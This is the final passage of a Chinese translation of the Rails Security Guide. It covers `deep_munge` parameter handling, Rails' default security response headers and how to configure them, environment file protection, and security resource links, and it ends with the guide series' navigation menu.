為了保證 Rails 的安全性,`deep_munge` 方法會把某些值替換成 `nil`。下表顯示在請求中發送 JSON 格式數據時得到的參數:
| JSON | 參數 |
| --- | --- |
| `{ "person": null }` | `{ :person => nil }` |
| `{ "person": [] }` | `{ :person => nil }` |
| `{ "person": [null] }` | `{ :person => nil }` |
| `{ "person": [null, null, ...] }` | `{ :person => nil }` |
| `{ "person": ["foo", null] }` | `{ :person => ["foo"] }` |
如果知道這種風險,也知道如何處理,可以通過設置禁用 `deep_munge`,使用原來的處理方式:
```
config.action_dispatch.perform_deep_munge = false
```
### 9 默認報頭
Rails 程序返回的每個 HTTP 響應都包含下面這些默認的安全報頭:
```
config.action_dispatch.default_headers = {
'X-Frame-Options' => 'SAMEORIGIN',
'X-XSS-Protection' => '1; mode=block',
'X-Content-Type-Options' => 'nosniff'
}
```
默認的報頭可在文件 `config/application.rb` 中設置:
```
config.action_dispatch.default_headers = {
'Header-Name' => 'Header-Value',
'X-Frame-Options' => 'DENY'
}
```
當然也可刪除默認報頭:
```
config.action_dispatch.default_headers.clear
```
下面是一些常用的報頭:
* `X-Frame-Options`:Rails 中的默認值是 `SAMEORIGIN`,允許使用同域中的 iframe。設為 `DENY` 可以完全禁止使用 iframe。如果允許使用所有網站的 iframe,可以設為 `ALLOWALL`。
* `X-XSS-Protection`:Rails 中的默認值是 `1; mode=block`,使用跨站腳本審查程序,如果發現跨站腳本攻擊就不顯示網頁。如果想關閉跨站腳本審查程序,可以設為 `0;`(如果響應中包含請求參數中傳入的腳本)。
* `X-Content-Type-Options`:Rails 中的默認值是 `nosniff`,禁止瀏覽器猜測文件的 MIME 類型。
* `X-Content-Security-Policy`:一種[強大的機制](http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html),控制可以從哪些網站加載特定類型的內容。
* `Access-Control-Allow-Origin`:設置哪些網站可以不沿用同源原則,發送跨域請求。
* `Strict-Transport-Security`:設置是否強制瀏覽器使用[安全連接](http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)訪問網站。
### 10 環境相關的安全問題
增加程序代碼和環境安全性的話題已經超出了本文范圍。但記住要保護好數據庫設置(`config/database.yml`)以及服務器端密令(`config/secrets.yml`)。更進一步,為了安全,這兩個文件以及其他包含敏感數據的文件還可使用環境專用版本。
### 11 其他資源
安全漏洞層出不窮,所以一定要了解最新信息,新的安全漏洞可能會導致災難性的后果。安全相關的信息可從下面的網站獲取:
* Ruby on Rails 安全項目,經常會發布安全相關的新聞:[http://www.rorsecurity.info](http://www.rorsecurity.info);
* 訂閱 Rails [安全郵件列表](http://groups.google.com/group/rubyonrails-security);
* [時刻關注程序所用組件的安全問題](http://secunia.com/)(還有周報);
* [優秀的安全博客](http://ha.ckers.org/blog/),包含一個[跨站腳本速查表](http://ha.ckers.org/xss.html);
### 反饋
歡迎幫忙改善指南質量。
如發現任何錯誤,歡迎修正。開始貢獻前,可先行閱讀[貢獻指南:文檔](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation)。
翻譯如有錯誤,深感抱歉,歡迎 [Fork](https://github.com/ruby-china/guides/fork) 修正,或至此處[回報](https://github.com/ruby-china/guides/issues/new)。
文章可能有未完成或過時的內容。請先檢查 [Edge Guides](http://edgeguides.rubyonrails.org) 來確定問題在 master 是否已經修掉了。再上 master 補上缺少的文件。內容參考 [Ruby on Rails 指南準則](ruby_on_rails_guides_guidelines.html)來了解行文風格。
最后,任何關于 Ruby on Rails 文檔的討論,歡迎到 [rubyonrails-docs 郵件群組](http://groups.google.com/group/rubyonrails-docs)。
- Ruby on Rails 指南 (651bba1)
- 入門
- Rails 入門
- 模型
- Active Record 基礎
- Active Record 數據庫遷移
- Active Record 數據驗證
- Active Record 回調
- Active Record 關聯
- Active Record 查詢
- 視圖
- Action View 基礎
- Rails 布局和視圖渲染
- 表單幫助方法
- 控制器
- Action Controller 簡介
- Rails 路由全解
- 深入
- Active Support 核心擴展
- Rails 國際化 API
- Action Mailer 基礎
- Active Job 基礎
- Rails 程序測試指南
- Rails 安全指南
- 調試 Rails 程序
- 設置 Rails 程序
- Rails 命令行
- Rails 緩存簡介
- Asset Pipeline
- 在 Rails 中使用 JavaScript
- 引擎入門
- Rails 應用的初始化過程
- Autoloading and Reloading Constants
- 擴展 Rails
- Rails 插件入門
- Rails on Rack
- 個性化Rails生成器與模板
- Rails應用模版
- 貢獻 Ruby on Rails
- Contributing to Ruby on Rails
- API Documentation Guidelines
- Ruby on Rails Guides Guidelines
- Ruby on Rails 維護方針
- 發布記
- A Guide for Upgrading Ruby on Rails
- Ruby on Rails 4.2 發布記
- Ruby on Rails 4.1 發布記
- Ruby on Rails 4.0 Release Notes
- Ruby on Rails 3.2 Release Notes
- Ruby on Rails 3.1 Release Notes
- Ruby on Rails 3.0 Release Notes
- Ruby on Rails 2.3 Release Notes
- Ruby on Rails 2.2 Release Notes